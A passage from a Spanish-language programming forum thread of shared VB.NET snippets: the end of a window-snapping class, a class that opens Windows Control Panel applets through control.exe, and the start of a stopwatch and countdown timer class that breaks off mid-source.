  291.  
  292.        End If
  293.  
  294.        ' Bottom border.
  295.        If (newPosition.y + Me._ClientForm.Height <= Me.WorkingArea.Bottom + Me.SnapMargin) _
  296.        AndAlso (newPosition.y + Me._ClientForm.Height >= Me.WorkingArea.Bottom - Me.SnapMargin) Then
  297.  
  298.            newPosition.y = (Me.WorkingArea.Bottom - Me._ClientForm.Height)
  299.  
  300.        End If
  301.  
  302.        ' Marshal it back.
  303.        Marshal.StructureToPtr([structure]:=newPosition, ptr:=Handle, fDeleteOld:=True)
  304.  
  305.    End Sub
  306.  
  307. #End Region
  308.  
  309. #Region " Hidden Methods "
  310.  
  311.    ''' <summary>
  312.    ''' Determines whether the specified System.Object instances are the same instance.
  313.    ''' </summary>
  314.    <EditorBrowsable(EditorBrowsableState.Never)>
  315.    Private Shadows Sub ReferenceEquals()
  316.    End Sub
  317.  
  318.    ''' <summary>
  319.    ''' Assigns a handle to this window.
  320.    ''' </summary>
  321.    <EditorBrowsable(EditorBrowsableState.Never)>
  322.    Public Shadows Sub AssignHandle()
  323.    End Sub
  324.  
  325.    ''' <summary>
  326.    ''' Creates a window and its handle with the specified creation parameters.
  327.    ''' </summary>
  328.    <EditorBrowsable(EditorBrowsableState.Never)>
  329.    Public Shadows Sub CreateHandle()
  330.    End Sub
  331.  
  332.    ''' <summary>
  333.    ''' Destroys the window and its handle.
  334.    ''' </summary>
  335.    <EditorBrowsable(EditorBrowsableState.Never)>
  336.    Public Shadows Sub DestroyHandle()
  337.    End Sub
  338.  
  339.    ''' <summary>
  340.    ''' Releases the handle associated with this window.
  341.    ''' </summary>
  342.    <EditorBrowsable(EditorBrowsableState.Never)>
  343.    Public Shadows Sub ReleaseHandle()
  344.    End Sub
  345.  
  346.    ''' <summary>
  347.    ''' Retrieves the window associated with the specified handle.
  348.    ''' </summary>
  349.    <EditorBrowsable(EditorBrowsableState.Never)>
  350.    Private Shadows Sub FromHandle()
  351.    End Sub
  352.  
  353.    ''' <summary>
  354.    ''' Serves as a hash function for a particular type.
  355.    ''' </summary>
  356.    <EditorBrowsable(EditorBrowsableState.Never)>
  357.    Public Shadows Sub GetHashCode()
  358.    End Sub
  359.  
  360.    ''' <summary>
  361.    ''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
  362.    ''' </summary>
  363.    <EditorBrowsable(EditorBrowsableState.Never)>
  364.    Public Shadows Function GetLifeTimeService()
  365.        Return Nothing
  366.    End Function
  367.  
  368.    ''' <summary>
  369.    ''' Obtains a lifetime service object to control the lifetime policy for this instance.
  370.    ''' </summary>
  371.    <EditorBrowsable(EditorBrowsableState.Never)>
  372.    Public Shadows Function InitializeLifeTimeService()
  373.        Return Nothing
  374.    End Function
  375.  
  376.    ''' <summary>
  377.    ''' Creates an object that contains all the relevant information required to generate a proxy used to communicate with a remote object.
  378.    ''' </summary>
  379.    <EditorBrowsable(EditorBrowsableState.Never)>
  380.    Public Shadows Function CreateObjRef()
  381.        Return Nothing
  382.    End Function
  383.  
  384.    ''' <summary>
  385.    ''' Determines whether the specified System.Object instances are considered equal.
  386.    ''' </summary>
  387.    <EditorBrowsable(EditorBrowsableState.Never)>
  388.    Public Shadows Sub Equals()
  389.    End Sub
  390.  
  391.    ''' <summary>
  392.    ''' Returns a String that represents the current object.
  393.    ''' </summary>
  394.    <EditorBrowsable(EditorBrowsableState.Never)>
  395.    Public Shadows Sub ToString()
  396.    End Sub
  397.  
  398.    ''' <summary>
  399.    ''' Invokes the default window procedure associated with this window.
  400.    ''' </summary>
  401.    <EditorBrowsable(EditorBrowsableState.Never)>
  402.    Public Shadows Sub DefWndProc()
  403.    End Sub
  404.  
  405. #End Region
  406.  
  407. #Region " IDisposable "
  408.  
  409.    ''' <summary>
  410.    ''' To detect redundant calls when disposing.
  411.    ''' </summary>
  412.    Private IsDisposed As Boolean = False
  413.  
  414.    ''' <summary>
  415.    ''' Prevent calls to methods after disposing.
  416.    ''' </summary>
  417.    ''' <exception cref="System.ObjectDisposedException"></exception>
  418.    Private Sub DisposedCheck()
  419.  
  420.        If Me.IsDisposed Then
  421.            Throw New ObjectDisposedException(Me.GetType().FullName)
  422.        End If
  423.  
  424.    End Sub
  425.  
  426.    ''' <summary>
  427.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  428.    ''' </summary>
  429.    Public Sub Dispose() Implements IDisposable.Dispose
  430.        Dispose(True)
  431.        GC.SuppressFinalize(Me)
  432.    End Sub
  433.  
  434.    ''' <summary>
  435.    ''' Releases unmanaged and - optionally - managed resources.
  436.    ''' </summary>
  437.    ''' <param name="IsDisposing">
  438.    ''' <c>true</c> to release both managed and unmanaged resources;
  439.    ''' <c>false</c> to release only unmanaged resources.
  440.    ''' </param>
  441.    Protected Sub Dispose(ByVal IsDisposing As Boolean)
  442.  
  443.        If Not Me.IsDisposed Then
  444.  
  445.            If IsDisposing Then
  446.                Me._ClientForm = Nothing
  447.                MyBase.ReleaseHandle()
  448.                MyBase.DestroyHandle()
  449.            End If
  450.  
  451.        End If
  452.  
  453.        Me.IsDisposed = True
  454.  
  455.    End Sub
  456.  
  457. #End Region
  458.  
  459. End Class
  460.  
  461. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Septiembre 2014, 06:14 am
Ejecuta un applet del panel de control

ejemplo de uso:
Código
  1. ControlPanelLauncher.Run(ControlPanelLauncher.Applets.SystemProperties)



Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 09-28-2014
  4. ' ***********************************************************************
  5. ' <copyright file="ControlPanelLauncher.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. ' ControlPanelLauncher.Run()
  13. ' ControlPanelLauncher.RunApplet(ControlPanelLauncher.Applets.SystemProperties)
  14.  
  15. #End Region
  16.  
  17. ''' <summary>
  18. ''' Runs a Windows Control Panel Applet.
  19. ''' Unofficial documentation: http://pcsupport.about.com/od/tipstricks/a/control-panel-command-line.htm
  20. ''' </summary>
  21. Public Class ControlPanelLauncher
  22.  
  23. #Region " Constants/Readonly "
  24.  
  25.    ''' <summary>
  26.    ''' The ControlPanel process location (control.exe)
  27.    ''' </summary>
  28.    Private Shared ReadOnly ControlProcess As String =
  29.        IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "control.exe")
  30.  
  31. #End Region
  32.  
  33. #Region " Enumerations "
  34.  
  35.    ''' <summary>
  36.    ''' Specifies a Control Panel Applet.
  37.    ''' </summary>
  38.    Public Enum Applets As Integer
  39.  
  40.        ''' <summary>
  41.        ''' Action Center
  42.        ''' </summary>
  43.        ActionCenter
  44.  
  45.        ''' <summary>
  46.        ''' Add Hardware
  47.        ''' </summary>
  48.        AddHardware
  49.  
  50.        ''' <summary>
  51.        ''' Administrative Tools
  52.        ''' </summary>
  53.        AdministrativeTools
  54.  
  55.        ''' <summary>
  56.        ''' AutoPlay
  57.        ''' </summary>
  58.        AutoPlay
  59.  
  60.        ''' <summary>
  61.        ''' Backup And Restore
  62.        ''' </summary>
  63.        BackupAndRestore
  64.  
  65.        ''' <summary>
  66.        ''' Biometric Devices
  67.        ''' </summary>
  68.        BiometricDevices
  69.  
  70.        ''' <summary>
  71.        ''' BitLocker Drive Encryption
  72.        ''' </summary>
  73.        BitLockerDriveEncryption
  74.  
  75.        ''' <summary>
  76.        ''' Bluetooth Devices
  77.        ''' </summary>
  78.        BluetoothDevices
  79.  
  80.        ''' <summary>
  81.        ''' Color Management
  82.        ''' </summary>
  83.        ColorManagement
  84.  
  85.        ''' <summary>
  86.        ''' Credential Manager
  87.        ''' </summary>
  88.        CredentialManager
  89.  
  90.        ''' <summary>
  91.        ''' Date And Time
  92.        ''' </summary>
  93.        DateAndTime
  94.  
  95.        ''' <summary>
  96.        ''' Default Location
  97.        ''' </summary>
  98.        DefaultLocation
  99.  
  100.        ''' <summary>
  101.        ''' Default Programs
  102.        ''' </summary>
  103.        DefaultPrograms
  104.  
  105.        ''' <summary>
  106.        ''' Desktop Gadgets
  107.        ''' </summary>
  108.        DesktopGadgets
  109.  
  110.        ''' <summary>
  111.        ''' Device Manager
  112.        ''' </summary>
  113.        DeviceManager
  114.  
  115.        ''' <summary>
  116.        ''' Devices And Printers
  117.        ''' </summary>
  118.        DevicesAndPrinters
  119.  
  120.        ''' <summary>
  121.        ''' Display
  122.        ''' </summary>
  123.        Display
  124.  
  125.        ''' <summary>
  126.        ''' EaseOfAccess Center
  127.        ''' </summary>
  128.        EaseOfAccessCenter
  129.  
  130.        ''' <summary>
  131.        ''' Family Safety
  132.        ''' </summary>
  133.        FamilySafety
  134.  
  135.        ''' <summary>
  136.        ''' File History
  137.        ''' </summary>
  138.        FileHistory
  139.  
  140.        ''' <summary>
  141.        ''' FlashPlayer Settings Manager
  142.        ''' </summary>
  143.        FlashPlayerSettingsManager
  144.  
  145.        ''' <summary>
  146.        ''' Folder Options
  147.        ''' </summary>
  148.        FolderOptions
  149.  
  150.        ''' <summary>
  151.        ''' Fonts
  152.        ''' </summary>
  153.        Fonts
  154.  
  155.        ''' <summary>
  156.        ''' Game Controllers
  157.        ''' </summary>
  158.        GameControllers
  159.  
  160.        ''' <summary>
  161.        ''' Get Programs
  162.        ''' </summary>
  163.        GetPrograms
  164.  
  165.        ''' <summary>
  166.        ''' Getting Started
  167.        ''' </summary>
  168.        GettingStarted
  169.  
  170.        ''' <summary>
  171.        ''' Home Group
  172.        ''' </summary>
  173.        HomeGroup
  174.  
  175.        ''' <summary>
  176.        ''' Indexing Options
  177.        ''' </summary>
  178.        IndexingOptions
  179.  
  180.        ''' <summary>
  181.        ''' Infrared
  182.        ''' </summary>
  183.        Infrared
  184.  
  185.        ''' <summary>
  186.        ''' Internet Options
  187.        ''' </summary>
  188.        InternetOptions
  189.  
  190.        ''' <summary>
  191.        ''' iSCSI Initiator
  192.        ''' </summary>
  193.        iSCSIInitiator
  194.  
  195.        ''' <summary>
  196.        ''' Keyboard
  197.        ''' </summary>
  198.        Keyboard
  199.  
  200.        ''' <summary>
  201.        ''' Language
  202.        ''' </summary>
  203.        Language
  204.  
  205.        ''' <summary>
  206.        ''' Location And Other Sensors
  207.        ''' </summary>
  208.        LocationAndOtherSensors
  209.  
  210.        ''' <summary>
  211.        ''' Mouse
  212.        ''' </summary>
  213.        Mouse
  214.  
  215.        ''' <summary>
  216.        ''' Network And Sharing Center
  217.        ''' </summary>
  218.        NetworkAndSharingCenter
  219.  
  220.        ''' <summary>
  221.        ''' Network Connections
  222.        ''' </summary>
  223.        NetworkConnections
  224.  
  225.        ''' <summary>
  226.        ''' Network Setup Wizard
  227.        ''' </summary>
  228.        NetworkSetupWizard
  229.  
  230.        ''' <summary>
  231.        ''' Notification Area Icons
  232.        ''' </summary>
  233.        NotificationAreaIcons
  234.  
  235.        ''' <summary>
  236.        ''' Offline Files
  237.        ''' </summary>
  238.        OfflineFiles
  239.  
  240.        ''' <summary>
  241.        ''' Parental Controls
  242.        ''' </summary>
  243.        ParentalControls
  244.  
  245.        ''' <summary>
  246.        ''' Pen And Input Devices
  247.        ''' </summary>
  248.        PenAndInputDevices
  249.  
  250.        ''' <summary>
  251.        ''' Pen And Touch
  252.        ''' </summary>
  253.        PenAndTouch
  254.  
  255.        ''' <summary>
  256.        ''' People Near Me
  257.        ''' </summary>
  258.        PeopleNearMe
  259.  
  260.        ''' <summary>
  261.        ''' Performance Information And Tools
  262.        ''' </summary>
  263.        PerformanceInformationAndTools
  264.  
  265.        ''' <summary>
  266.        ''' Personalization
  267.        ''' </summary>
  268.        Personalization
  269.  
  270.        ''' <summary>
  271.        ''' Phone And Modem Options
  272.        ''' </summary>
  273.        PhoneAndModemOptions
  274.  
  275.        ''' <summary>
  276.        ''' Phone And Modem
  277.        ''' </summary>
  278.        PhoneAndModem
  279.  
  280.        ''' <summary>
  281.        ''' Power Options
  282.        ''' </summary>
  283.        PowerOptions
  284.  
  285.        ''' <summary>
  286.        ''' Printers And Faxes
  287.        ''' </summary>
  288.        PrintersAndFaxes
  289.  
  290.        ''' <summary>
  291.        ''' Problem Reports And Solutions
  292.        ''' </summary>
  293.        ProblemReportsAndSolutions
  294.  
  295.        ''' <summary>
  296.        ''' Programs And Features
  297.        ''' </summary>
  298.        ProgramsAndFeatures
  299.  
  300.        ''' <summary>
  301.        ''' Recovery
  302.        ''' </summary>
  303.        Recovery
  304.  
  305.        ''' <summary>
  306.        ''' Region And Language
  307.        ''' </summary>
  308.        RegionAndLanguage
  309.  
  310.        ''' <summary>
  311.        ''' Regional And Language Options
  312.        ''' </summary>
  313.        RegionalAndLanguageOptions
  314.  
  315.        ''' <summary>
  316.        ''' Remote App And Desktop Connections
  317.        ''' </summary>
  318.        RemoteAppAndDesktopConnections
  319.  
  320.        ''' <summary>
  321.        ''' Scanners And Cameras
  322.        ''' </summary>
  323.        ScannersAndCameras
  324.  
  325.        ''' <summary>
  326.        ''' Screen Resolution
  327.        ''' </summary>
  328.        ScreenResolution
  329.  
  330.        ''' <summary>
  331.        ''' Security Center
  332.        ''' </summary>
  333.        SecurityCenter
  334.  
  335.        ''' <summary>
  336.        ''' Sound
  337.        ''' </summary>
  338.        Sound
  339.  
  340.        ''' <summary>
  341.        ''' Speech Recognition Options
  342.        ''' </summary>
  343.        SpeechRecognitionOptions
  344.  
  345.        ''' <summary>
  346.        ''' Speech Recognition
  347.        ''' </summary>
  348.        SpeechRecognition
  349.  
  350.        ''' <summary>
  351.        ''' Storage Spaces
  352.        ''' </summary>
  353.        StorageSpaces
  354.  
  355.        ''' <summary>
  356.        ''' Sync Center
  357.        ''' </summary>
  358.        SyncCenter
  359.  
  360.        ''' <summary>
  361.        ''' System
  362.        ''' </summary>
  363.        System
  364.  
  365.        ''' <summary>
  366.        ''' System Properties
  367.        ''' </summary>
  368.        SystemProperties
  369.  
  370.        ''' <summary>
  371.        ''' TabletPC Settings
  372.        ''' </summary>
  373.        TabletPCSettings
  374.  
  375.        ''' <summary>
  376.        ''' Task Scheduler
  377.        ''' </summary>
  378.        TaskScheduler
  379.  
  380.        ''' <summary>
  381.        ''' Taskbar
  382.        ''' </summary>
  383.        Taskbar
  384.  
  385.        ''' <summary>
  386.        ''' Taskbar And StartMenu
  387.        ''' </summary>
  388.        TaskbarAndStartMenu
  389.  
  390.        ''' <summary>
  391.        ''' Text To Speech
  392.        ''' </summary>
  393.        TextToSpeech
  394.  
  395.        ''' <summary>
  396.        ''' Troubleshooting
  397.        ''' </summary>
  398.        Troubleshooting
  399.  
  400.        ''' <summary>
  401.        ''' User Accounts
  402.        ''' </summary>
  403.        UserAccounts
  404.  
  405.        ''' <summary>
  406.        ''' Welcome Center
  407.        ''' </summary>
  408.        WelcomeCenter
  409.  
  410.        ''' <summary>
  411.        ''' Windows Anytime Upgrade
  412.        ''' </summary>
  413.        WindowsAnytimeUpgrade
  414.  
  415.        ''' <summary>
  416.        ''' Windows CardSpace
  417.        ''' </summary>
  418.        WindowsCardSpace
  419.  
  420.        ''' <summary>
  421.        ''' Windows Defender
  422.        ''' </summary>
  423.        WindowsDefender
  424.  
  425.        ''' <summary>
  426.        ''' Windows Firewall
  427.        ''' </summary>
  428.        WindowsFirewall
  429.  
  430.        ''' <summary>
  431.        ''' Windows Marketplace
  432.        ''' </summary>
  433.        WindowsMarketplace
  434.  
  435.        ''' <summary>
  436.        ''' Windows Mobility Center
  437.        ''' </summary>
  438.        WindowsMobilityCenter
  439.  
  440.        ''' <summary>
  441.        ''' Windows Sidebar Properties
  442.        ''' </summary>
  443.        WindowsSidebarProperties
  444.  
  445.        ''' <summary>
  446.        ''' Windows SideShow
  447.        ''' </summary>
  448.        WindowsSideShow
  449.  
  450.        ''' <summary>
  451.        ''' Windows Update
  452.        ''' </summary>
  453.        WindowsUpdate
  454.  
  455.    End Enum
  456.  
  457. #End Region
  458.  
  459. #Region " Public Methods "
  460.  
  461.    ''' <summary>
  462.    ''' Runs the Control Panel.
  463.    ''' </summary>
  464.    Public Shared Sub Run()
  465.  
  466.        Process.Start(ControlProcess)
  467.  
  468.    End Sub
  469.  
  470.    ''' <summary>
  471.    ''' Runs a Control Panel Applet.
  472.    ''' </summary>
  473.    ''' <param name="Applet">The applet.</param>
  474.    Public Shared Sub RunApplet(ByVal Applet As Applets)
  475.  
  476.        Select Case Applet
  477.  
  478.            Case Applets.ActionCenter
  479.                Process.Start(ControlProcess, "/name Microsoft.ActionCenter")
  480.  
  481.            Case Applets.AddHardware
  482.                Process.Start(ControlProcess, "/name Microsoft.AddHardware")
  483.  
  484.            Case Applets.AdministrativeTools
  485.                Process.Start(ControlProcess, "/name Microsoft.AdministrativeTools")
  486.  
  487.            Case Applets.AutoPlay
  488.                Process.Start(ControlProcess, "/name Microsoft.AutoPlay")
  489.  
  490.            Case Applets.BackupAndRestore
  491.                Process.Start(ControlProcess, "/name Microsoft.BackupAndRestore")
  492.  
  493.            Case Applets.BiometricDevices
  494.                Process.Start(ControlProcess, "/name Microsoft.BiometricDevices")
  495.  
  496.            Case Applets.BitLockerDriveEncryption
  497.                Process.Start(ControlProcess, "/name Microsoft.BitLockerDriveEncryption")
  498.  
  499.            Case Applets.BluetoothDevices
  500.                Process.Start(ControlProcess, "/name Microsoft.BluetoothDevices")
  501.  
  502.            Case Applets.ColorManagement
  503.                Process.Start(ControlProcess, "/name Microsoft.ColorManagement")
  504.  
  505.            Case Applets.CredentialManager
  506.                Process.Start(ControlProcess, "/name Microsoft.CredentialManager")
  507.  
  508.            Case Applets.DateAndTime
  509.                Process.Start(ControlProcess, "/name Microsoft.DateAndTime")
  510.  
  511.            Case Applets.DefaultLocation
  512.                Process.Start(ControlProcess, "/name Microsoft.DefaultLocation")
  513.  
  514.            Case Applets.DefaultPrograms
  515.                Process.Start(ControlProcess, "/name Microsoft.DefaultPrograms")
  516.  
  517.            Case Applets.DesktopGadgets
  518.                Process.Start(ControlProcess, "/name Microsoft.DesktopGadgets")
  519.  
  520.            Case Applets.DeviceManager
  521.                Process.Start(ControlProcess, "/name Microsoft.DeviceManager")
  522.  
  523.            Case Applets.DevicesAndPrinters
  524.                Process.Start(ControlProcess, "/name Microsoft.DevicesAndPrinters")
  525.  
  526.            Case Applets.Display
  527.                Process.Start(ControlProcess, "/name Microsoft.Display")
  528.  
  529.            Case Applets.EaseOfAccessCenter
  530.                Process.Start(ControlProcess, "/name Microsoft.EaseOfAccessCenter")
  531.  
  532.            Case Applets.FamilySafety
  533.                Process.Start(ControlProcess, "/name Microsoft.ParentalControls")
  534.  
  535.            Case Applets.FileHistory
  536.                Process.Start(ControlProcess, "/name Microsoft.FileHistory")
  537.  
  538.            Case Applets.FlashPlayerSettingsManager
  539.                Process.Start(ControlProcess, "flashplayercplapp.cpl")
  540.  
  541.            Case Applets.FolderOptions
  542.                Process.Start(ControlProcess, "/name Microsoft.FolderOptions")
  543.  
  544.            Case Applets.Fonts
  545.                Process.Start(ControlProcess, "/name Microsoft.Fonts")
  546.  
  547.            Case Applets.GameControllers
  548.                Process.Start(ControlProcess, "/name Microsoft.GameControllers")
  549.  
  550.            Case Applets.GetPrograms
  551.                Process.Start(ControlProcess, "/name Microsoft.GetPrograms")
  552.  
  553.            Case Applets.GettingStarted
  554.                Process.Start(ControlProcess, "/name Microsoft.GettingStarted")
  555.  
  556.            Case Applets.HomeGroup
  557.                Process.Start(ControlProcess, "/name Microsoft.HomeGroup")
  558.  
  559.            Case Applets.IndexingOptions
  560.                Process.Start(ControlProcess, "/name Microsoft.IndexingOptions")
  561.  
  562.            Case Applets.Infrared
  563.                Process.Start(ControlProcess, "/name Microsoft.Infrared")
  564.  
  565.            Case Applets.InternetOptions
  566.                Process.Start(ControlProcess, "/name Microsoft.InternetOptions")
  567.  
  568.            Case Applets.iSCSIInitiator
  569.                Process.Start(ControlProcess, "/name Microsoft.iSCSIInitiator")
  570.  
  571.            Case Applets.Keyboard
  572.                Process.Start(ControlProcess, "/name Microsoft.Keyboard")
  573.  
  574.            Case Applets.Language
  575.                Process.Start(ControlProcess, "/name Microsoft.Language")
  576.  
  577.            Case Applets.LocationAndOtherSensors
  578.                Process.Start(ControlProcess, "/name Microsoft.LocationAndOtherSensors")
  579.  
  580.            Case Applets.Mouse
  581.                Process.Start(ControlProcess, "/name Microsoft.Mouse")
  582.  
  583.            Case Applets.NetworkAndSharingCenter
  584.                Process.Start(ControlProcess, "/name Microsoft.NetworkAndSharingCenter")
  585.  
  586.            Case Applets.NetworkConnections
  587.                Process.Start(ControlProcess, "ncpa.cpl")
  588.  
  589.            Case Applets.NetworkSetupWizard
  590.                Process.Start(ControlProcess, "netsetup.cpl")
  591.  
  592.            Case Applets.NotificationAreaIcons
  593.                Process.Start(ControlProcess, "/name Microsoft.NotificationAreaIcons")
  594.  
  595.            Case Applets.OfflineFiles
  596.                Process.Start(ControlProcess, "/name Microsoft.OfflineFiles")
  597.  
  598.            Case Applets.ParentalControls
  599.                Process.Start(ControlProcess, "/name Microsoft.ParentalControls")
  600.  
  601.            Case Applets.PenAndInputDevices
  602.                Process.Start(ControlProcess, "/name Microsoft.PenAndInputDevices")
  603.  
  604.            Case Applets.PenAndTouch
  605.                Process.Start(ControlProcess, "/name Microsoft.PenAndTouch")
  606.  
  607.            Case Applets.PeopleNearMe
  608.                Process.Start(ControlProcess, "/name Microsoft.PeopleNearMe")
  609.  
  610.            Case Applets.PerformanceInformationAndTools
  611.                Process.Start(ControlProcess, "/name Microsoft.PerformanceInformationAndTools")
  612.  
  613.            Case Applets.Personalization
  614.                Process.Start(ControlProcess, "/name Microsoft.Personalization")
  615.  
  616.            Case Applets.PhoneAndModemOptions
  617.                Process.Start(ControlProcess, "/name Microsoft.PhoneAndModemOptions")
  618.  
  619.            Case Applets.PhoneAndModem
  620.                Process.Start(ControlProcess, "/name Microsoft.PhoneAndModem")
  621.  
  622.            Case Applets.PowerOptions
  623.                Process.Start(ControlProcess, "/name Microsoft.PowerOptions")
  624.  
  625.            Case Applets.PrintersAndFaxes
  626.                Process.Start(ControlProcess, "/name Microsoft.Printers")
  627.  
  628.            Case Applets.ProblemReportsAndSolutions
  629.                Process.Start(ControlProcess, "/name Microsoft.ProblemReportsAndSolutions")
  630.  
  631.            Case Applets.ProgramsAndFeatures
  632.                Process.Start(ControlProcess, "/name Microsoft.ProgramsAndFeatures")
  633.  
  634.            Case Applets.Recovery
  635.                Process.Start(ControlProcess, "/name Microsoft.Recovery")
  636.  
  637.            Case Applets.RegionAndLanguage
  638.                Process.Start(ControlProcess, "/name Microsoft.RegionAndLanguage")
  639.  
  640.            Case Applets.RegionalAndLanguageOptions
  641.                Process.Start(ControlProcess, "/name Microsoft.RegionalAndLanguageOptions")
  642.  
  643.            Case Applets.RemoteAppAndDesktopConnections
  644.                Process.Start(ControlProcess, "/name Microsoft.RemoteAppAndDesktopConnections")
  645.  
  646.            Case Applets.ScannersAndCameras
  647.                Process.Start(ControlProcess, "/name Microsoft.ScannersAndCameras")
  648.  
  649.            Case Applets.ScreenResolution
  650.                Process.Start(ControlProcess, "desk.cpl")
  651.  
  652.            Case Applets.SecurityCenter
  653.                Process.Start(ControlProcess, "/name Microsoft.SecurityCenter")
  654.  
  655.            Case Applets.Sound
  656.                Process.Start(ControlProcess, "/name Microsoft.Sound")
  657.  
  658.            Case Applets.SpeechRecognitionOptions
  659.                Process.Start(ControlProcess, "/name Microsoft.SpeechRecognitionOptions")
  660.  
  661.            Case Applets.SpeechRecognition
  662.                Process.Start(ControlProcess, "/name Microsoft.SpeechRecognition")
  663.  
  664.            Case Applets.StorageSpaces
  665.                Process.Start(ControlProcess, "/name Microsoft.StorageSpaces")
  666.  
  667.            Case Applets.SyncCenter
  668.                Process.Start(ControlProcess, "/name Microsoft.SyncCenter")
  669.  
  670.            Case Applets.System
  671.                Process.Start(ControlProcess, "/name Microsoft.System")
  672.  
  673.            Case Applets.SystemProperties
  674.                Process.Start(ControlProcess, "sysdm.cpl")
  675.  
  676.            Case Applets.TabletPCSettings
  677.                Process.Start(ControlProcess, "/name Microsoft.TabletPCSettings")
  678.  
  679.            Case Applets.TaskScheduler
  680.                Process.Start(ControlProcess, "schedtasks")
  681.  
  682.            Case Applets.Taskbar
  683.                Process.Start(ControlProcess, "/name Microsoft.Taskbar")
  684.  
  685.            Case Applets.TaskbarAndStartMenu
  686.                Process.Start(ControlProcess, "/name Microsoft.TaskbarAndStartMenu")
  687.  
  688.            Case Applets.TextToSpeech
  689.                Process.Start(ControlProcess, "/name Microsoft.TextToSpeech")
  690.  
  691.            Case Applets.Troubleshooting
  692.                Process.Start(ControlProcess, "/name Microsoft.Troubleshooting")
  693.  
  694.            Case Applets.UserAccounts
  695.                Process.Start(ControlProcess, "/name Microsoft.UserAccounts")
  696.  
  697.            Case Applets.WelcomeCenter
  698.                Process.Start(ControlProcess, "/name Microsoft.WelcomeCenter")
  699.  
  700.            Case Applets.WindowsAnytimeUpgrade
  701.                Process.Start(ControlProcess, "/name Microsoft.WindowsAnytimeUpgrade")
  702.  
  703.            Case Applets.WindowsCardSpace
  704.                Process.Start(ControlProcess, "/name Microsoft.CardSpace")
  705.  
  706.            Case Applets.WindowsDefender
  707.                Process.Start(ControlProcess, "/name Microsoft.WindowsDefender")
  708.  
  709.            Case Applets.WindowsFirewall
  710.                Process.Start(ControlProcess, "/name Microsoft.WindowsFirewall")
  711.  
  712.            Case Applets.WindowsMarketplace
  713.                Process.Start(ControlProcess, "/name Microsoft.GetProgramsOnline")
  714.  
  715.            Case Applets.WindowsMobilityCenter
  716.                Process.Start(ControlProcess, "/name Microsoft.MobilityCenter")
  717.  
  718.            Case Applets.WindowsSidebarProperties
  719.                Process.Start(ControlProcess, "/name Microsoft.WindowsSidebarProperties")
  720.  
  721.            Case Applets.WindowsSideShow
  722.                Process.Start(ControlProcess, "/name Microsoft.WindowsSideShow")
  723.  
  724.            Case Applets.WindowsUpdate
  725.                Process.Start(ControlProcess, "/name Microsoft.WindowsUpdate")
  726.  
  727.        End Select
  728.  
  729.    End Sub
  730.  
  731. #End Region
  732.  
  733. End Class
  734.  
  735.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Octubre 2014, 03:34 am
He tomado una antigua class del cajón de los recuerdos (o experimentos xD) que servía como medidor de tiempo para un cronómetro o una cuenta atrás y lo he mejorado y simplificado bastante.

Ejemplo de uso:

Código
  1. Public Class form1
  2.  
  3.    ''' <summary>
  4.    ''' The <see cref="TimeMeasurer"/> instance that measure time intervals.
  5.    ''' </summary>
  6.    Private WithEvents Clock As New TimeMeasurer With {.UpdateInterval = 100}
  7.  
  8.    Private ctrl_ElapsedTime As Control ' Control used to display the time elapsed interval.
  9.    Private ctrl_RemainingTime As Control ' Control used to display the time remaining interval.
  10.  
  11.    Private Shadows Sub Load() Handles MyBase.Load
  12.  
  13.        ctrl_ElapsedTime = Label1
  14.        ctrl_RemainingTime = Label2
  15.  
  16.        Me.Clock.Start(60000) ' Measure 1 minute
  17.  
  18.        ' Or...
  19.        ' Me.Clock.Stop() ' Stop temporally the time interval measurement.
  20.        ' Me.Clock.Resume() ' Resume a previouslly stopped time interval measurement.
  21.        ' Dim ClockState As TimeMeasurer.TimeMeasurerState = Me.Clock.State ' Get the state.
  22.  
  23.    End Sub
  24.  
  25.    Private Sub Clock_ElapsedTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  26.    Handles Clock.ElapsedTimeUpdated
  27.  
  28.        ' Measure H:M:S:MS
  29.        ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  30.                                              e.Hour, e.Minute, e.Second, e.Millisecond)
  31.  
  32.    End Sub
  33.  
  34.    Private Sub Clock_RemainingTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  35.    Handles Clock.RemainingTimeUpdated
  36.  
  37.        ' Measure H:M:S:MS
  38.        ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  39.                                                e.Hour, e.Minute, e.Second, e.Millisecond)
  40.  
  41.        '' Measure H:M:S
  42.        'ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
  43.        '                                        e.Hour, e.Minute, e.Second + 1)
  44.  
  45.    End Sub
  46.  
  47.    Private Sub Clock_ElapsedTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  48.    Handles Clock.ElapsedTimeFinished
  49.  
  50.        ' Measure H:M:S:MS
  51.        ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  52.                                              e.Hour, e.Minute, e.Second, e.Millisecond)
  53.  
  54.    End Sub
  55.  
  56.    Private Sub Clock_RemainingTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  57.    Handles Clock.RemainingTimeFinished
  58.  
  59.        ' Measure H:M:S:MS
  60.        ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  61.                                                e.Hour, e.Minute, e.Second, e.Millisecond)
  62.  
  63.    End Sub
  64.  
  65. End Class

Como veis es muy sencillo de usar y de una manera más genérica (mucho más que el antiguo código que ecribí)

El source:

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 10-02-2014
  4. ' ***********************************************************************
  5. ' <copyright file="TimeMeasurer.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
